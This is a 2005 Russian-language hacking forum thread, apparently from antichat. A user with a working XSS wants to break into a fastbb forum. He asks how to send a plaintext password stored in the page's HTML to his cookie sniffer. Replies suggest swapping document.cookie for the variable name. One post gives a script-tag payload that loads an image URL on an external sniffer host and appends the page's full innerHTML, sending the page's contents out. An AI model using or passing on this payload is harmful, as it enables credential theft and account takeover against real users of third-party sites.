Что можно передать кроме кук на сниффер? |
09.11.2005, 14:45
|
|
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
С нами:
10915586
Репутация:
54
|
|
Что можно передать кроме кук на сниффер?
Есть рабочая xss. Такой вопрос: можно ли передать на сниффер фрагмент самой страницы, её html-кода?
|
|
|
09.11.2005, 15:23
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами:
11517446
Репутация:
2258
|
|
или я тебя не понял или ты сам не знаешь чего написал=))))
передаются Referer, Query [куки], Agent и все..
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|
|
11.11.2005, 15:25
|
|
Banned
Регистрация: 21.04.2005
Сообщений: 328
С нами:
11081186
Репутация:
9
|
|
Сообщение от m0nzt3r
или я тебя не понял или ты сам не знаешь чего написал=))))
передаются Referer, Query [куки], Agent и все..
Мне кажется это ты не хнаешь что написал!!! )
Почему ты написал Query [куки]?!!!
|
|
|
|
19.11.2005, 15:55
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
С нами:
11215046
Репутация:
1844
|
|
Сообщение от bul666
Мне кажется это ты не хнаешь что написал!!! )
Почему ты написал Query [куки]?!!!
Просто в строке Query выводятся куки )))
|
|
|
|
09.11.2005, 16:05
|
|
Постоянный
Регистрация: 14.08.2005
Сообщений: 378
С нами:
10915586
Репутация:
54
|
|
Лан, я просто плохо объяснил....извините...короч проблема вот в чём...
нужно взломать fastbb, позарез. Такая параша, но очень необходимо.
Короче куки на сниффер приходят, но они ужасной кодировки...не подставляются, то ли привязка там к чему-то стоит. Не знаю, если не получится то что я придумал, тогда буду пробовать дальше. А придумал я то что там пароль на странице хранится в открытом виде(в html виде => var pass). И я подумал нельзя ли пересылать его снифферу? Вот решил спросить у вас...
|
|
|
|
09.11.2005, 16:14
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
С нами:
11212166
Репутация:
182
|
|
передаются Referer, Query [куки], Agent и все..
А ты уверен??
Просто сниффер не логирует\показывает.
Например порт браузера,порт сервера ну и кучу другой не нужной информации,хотя кому-то может и нужной...
|
|
|
|
09.11.2005, 16:17
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
С нами:
11212166
Репутация:
182
|
|
И я подумал нельзя ли пересылать его снифферу?
Я в ждавескрипте ничерта не смыслю 
Вместо document.cookie поставь название переменной...
зы не забываем про репутацию
|
|
|
|
09.11.2005, 16:30
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами:
11517446
Репутация:
2258
|
|
qBiN, в данный момент речь идет об ачатовском снифферее,а соответственно он показывает только то что я перечислил... да и не будет же он показывать ХТМЛ код, это же глупо не так ли??
BaH, это уже другой разговор...помоему надо пхп скрипт подделать который будет принимать значения формы var_pass а в пхп я 0 =)
Чесно говоря уже задолбали Повышайте мне репутацию! после этой новой системы...
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
Последний раз редактировалось m0nzt3r; 11.11.2005 в 00:59..
|
|
|
|
11.11.2005, 00:50
|
Регистрация: 29.05.2002
Сообщений: 1,793
С нами:
12604706
Репутация:
0
|
|
Сообщение от m0nzt3r
qBiN, в данный момент речь идет об ачатовском снифферее,а соответственно он показывает только то что я перечислил... да и не будет же он показывать ХТМЛ код, это же глупо не так ли??
BaH, это уже другой разговор...помоему надо пхп скрипт подделать который будет принимать значения формы var_pass а в пхп я 0 =)
Сниффер может показывать все что угодно. Вернее все что вы на него передадите.
Например вот так можно переслать на сниффер всю HTML страницу:
<script>i=new Image(); i.src="http://antichat.ru/cgi-bin/s.jpg?"+document.documentElement.innerHTML;</script>
|
|
|
|
19.11.2005, 15:57
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
С нами:
11215046
Репутация:
1844
|
|
Сообщение от Algol
Сниффер может показывать все что угодно. Вернее все что вы на него передадите.
Например вот так можно переслать на сниффер всю HTML страницу:
Но форум же не ХТМЛ, а ПХП ))) Или это значения не имеет???
|
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
химия своими руками
|
silveran |
Болталка |
43 |
11.01.2006 22:05 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
